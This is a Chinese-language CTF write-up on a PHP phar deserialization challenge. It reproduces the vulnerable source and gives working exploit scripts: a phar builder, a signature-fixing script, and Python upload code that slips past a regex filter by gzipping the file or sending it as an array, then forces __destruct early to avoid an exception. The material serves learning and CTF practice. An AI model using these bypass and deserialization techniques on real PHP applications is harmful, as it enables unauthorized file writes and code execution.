赞
踩
之前做了p5 才知道还有p1到p4
遂来做一下
顺便复习一下反序列化
- <META http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <?php
- highlight_file(__FILE__);
- class getflag
- {
- function __destruct()
- {
- echo getenv("FLAG");
- }
- }
-
- class A
- {
- public $config;
- function __destruct()
- {
- if ($this->config == 'w') {
- $data = $_POST[0];
- if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
- die("我知道你想干吗,我的建议是不要那样做。");
- }
- file_put_contents("./tmp/a.txt", $data);
- } else if ($this->config == 'r') {
- $data = $_POST[0];
- if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
- die("我知道你想干吗,我的建议是不要那样做。");
- }
- echo file_get_contents($data);
- }
- }
- }
- if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
- die("我知道你想干吗,我的建议是不要那样做。");
- }
- unserialize($_GET[0]);
- throw new Error("那么就从这里开始起航吧");
这里定义两个类
第一个类可以通过触发_destruct()得到flag
第二个类可以实现文件读写的功能
可以传两个变量 一个post一个get
因为get里面正则匹配过滤了getflag 我们没法用get传参直接反序列化触发getflag类
但是可以利用post 上传phar文件 再用phar协议读取
就可以反序列化class getflag
从而触发__destruct()魔术方法 echo flag
- <?php
- highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上
-
- class getflag // 定义一个名为 Testobj 的类
- {
- // 声明一个属性 $output,初始值为空字符串
- }
-
- @unlink('test.phar'); // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
- $phar = new Phar('test.phar'); // 创建一个名为 test.phar 的 PHAR 文件对象
- $phar->startBuffering(); // 开始写入 PHAR 文件
- $phar->setStub('<?php __HALT_COMPILER(); ?>'); // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
- $o = new getflag(); // 创建了一个 Testobj 类的实例
- $phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
- $phar->addFromString("test.txt", "test"); // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
- $phar->stopBuffering(); // 停止写入 PHAR 文件
但是post里面也过滤了getflag
生成的phar文件里面还是包含getflag明文
类比之前做过一题phar反序列化 只要把
(gzip bzip2 tar zip 这四个后缀同样也支持phar://读取)
传输进去的就是二进制流乱码 就可以绕过正则匹配
写个脚本上传一下
- import requests
- import re
- import gzip
-
- url="http://node4.anna.nssctf.cn:28134/"
-
- ### 先将phar文件变成gzip文件
- with open("./1.phar",'rb') as f1:
- phar_zip=gzip.open("gzip.zip",'wb') #创建了一个gzip文件的对象
- phar_zip.writelines(f1) #将phar文件的二进制流写入
- phar_zip.close()
-
- ###写入gzip文件
- with open("gzip.zip",'rb') as f2:
- data1={0:f2.read()} #利用gzip后全是乱码绕过
- param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
- p1 = requests.post(url=url, params=param1,data=data1)
-
- ### 读gzip.zip文件,获取flag
- param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
- data2={0:"phar://tmp/a.txt"}
- p2=requests.post(url=url,params=param2,data=data2)
- flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
- print(flag)
最后返回的结果为空
再回去看这个代码
要绕过这个异常
绕过异常
在进行phar操作的时候,通过file_get_contents函数利用phar协议来读取时,也是将里面的getflag类进行反序列化,因为这个异常,我们是不能执行getflag类中的__destruct方法的,所以我们需要绕过异常。那么我们可以在phar文件明文部分修改为
a:2:{i:0;O:7:"getflag":{}i:0;N;}
怎么理解呢?这是一个数组,反序列化是按照顺序执行的,那么这个Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了,就会被GC机制回收从而触发__destruct方法。
- <?php
- highlight_file(__FILE__); // 将当前PHP文件的内容进行语法高亮并输出到页面上
-
- class getflag // 定义一个名为 Testobj 的类
- {
- // 声明一个属性 $output,初始值为空字符串
- }
-
- @unlink('test.phar'); // 删除之前的 test.phar 文件(如果有),@ 符号用于抑制可能出现的文件不存在的警告
- $phar = new Phar('p1.phar'); // 创建一个名为 test.phar 的 PHAR 文件对象
- $phar->startBuffering(); // 开始写入 PHAR 文件
- $phar->setStub('<?php __HALT_COMPILER(); ?>'); // 使用 setStub 方法设置 PHAR 文件的启动器(stub),__HALT_COMPILER(); 是 PHP 的特殊标记,表示文件编译的结束
- $o = new getflag(); // 创建了一个 Testobj 类的实例
- $o = array(0=>$o,1=>null);
- $phar->setMetadata($o); // 将 $o 对象作为元数据写入到 PHAR 文件中,这种方法不再安全,可能导致安全漏洞
- $phar->addFromString("test.txt", "test"); // 向 PHAR 文件中添加一个名为 test.txt 的文件,文件内容为字符串 "test"
- $phar->stopBuffering(); // 停止写入 PHAR 文件
但是我们一旦更改phar里的内容就要修改它的签名
修复签名的代码
- from hashlib import sha1
- f = open('./p12.phar', 'rb').read() # 修改内容后的phar文件
- s = f[:-28] # 获取要签名的数据
- h = f[-8:] # 获取签名类型以及GBMB标识
- newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
- open('ph2.phar', 'wb').write(newf) # 写入新文件
再运行一下
- import requests
- import re
- import gzip
-
- url="http://node4.anna.nssctf.cn:28134/"
-
- ### 先将phar文件变成gzip文件
- with open("./ph2.phar",'rb') as f1:
- phar_zip=gzip.open("gzip.zip",'wb') #创建了一个gzip文件的对象
- phar_zip.writelines(f1) #将phar文件的二进制流写入
- phar_zip.close()
-
- ###写入gzip文件
- with open("gzip.zip",'rb') as f2:
- data1={0:f2.read()} #利用gzip后全是乱码绕过
- param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
- p1 = requests.post(url=url, params=param1,data=data1)
-
-
- ### 读gzip.zip文件,获取flag
- param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
- data2={0:"phar://tmp/a.txt"}
- p2=requests.post(url=url,params=param2,data=data2)
-
- flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)
- print(flag)
-
成功得到flag
看别的wp又学到这里用数组的话 不压缩也可以绕过正则
- import requests
- import re
-
- url="http://node4.anna.nssctf.cn:28134/"
-
- ### 写入phar文件
- with open("ph2.phar",'rb') as f:
- data1={'0[]':f.read()} #传数组绕过,值就是hacker1.phar文件的内容
- param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
- res1 = requests.post(url=url, params=param1,data=data1)
-
- ### 读phar文件,获取flag
- param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
- data2={0:"phar://tmp/a.txt"}
- res2=requests.post(url=url,params=param2,data=data2)
- flag=re.compile('NSSCTF\{.*?\}').findall(res2.text)
- print(flag)
原理如下:
preg_match与file_put_contents(php函数特性利用)
前面讲到了,一般在利用file_put_contents这类函数写phar文件之前会有preg_match这种函数的限制,但是这里我们利用php函数的特性,可以完全绕过这种限制,php中有一些函数不能处理数组,会直接返回false,从而实现绕过,而preg_match就是其中一个,而file_put_contents又恰好能把数组的内容也写入文件,所以这样的组合就等同于无视waf任意写
最后
对象的析构函数在对象被销毁时触发,对象被销毁的情况
当整个程序生命周期结束前会销毁所有的对象
可以看到 在整个程序执行完后才触发了__destruct()魔术方法
使用unset函数释放变量
在程序执行完之前我们手动释放了变量
触发__destruct()魔术方法
面向对象的语言内部都有gc机制,来回收没有被引用的变量,所以这个时候也会触发__destruct
这里创建对象的时候没有用变量来接收引用,所以也在echo "lll\n"之前就被gc回收触发析构函数
创建后人为消除引用
这里对象创建的时候是$a这个数组里面0索引指向引用的,在10行改变0索引指向null,这样就使得a的对象没有任何引用,所以也会在11行执行前,被gc回收销毁触发析构函数
这题就是用这个方法提前触发这个析构函数 从而绕过最后一行的抛出异常
前面讲到了,一般在利用file_put_contents这类函数写phar文件之前会有preg_match这种函数的限制,但是这里我们利用php函数的特性,可以完全绕过这种限制,php中有一些函数不能处理数组,会直接返回false,从而实现绕过,而preg_match就是其中一个,而file_put_contents又恰好能把数组的内容也写入文件,所以这样的组合就等同于无视waf任意写
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。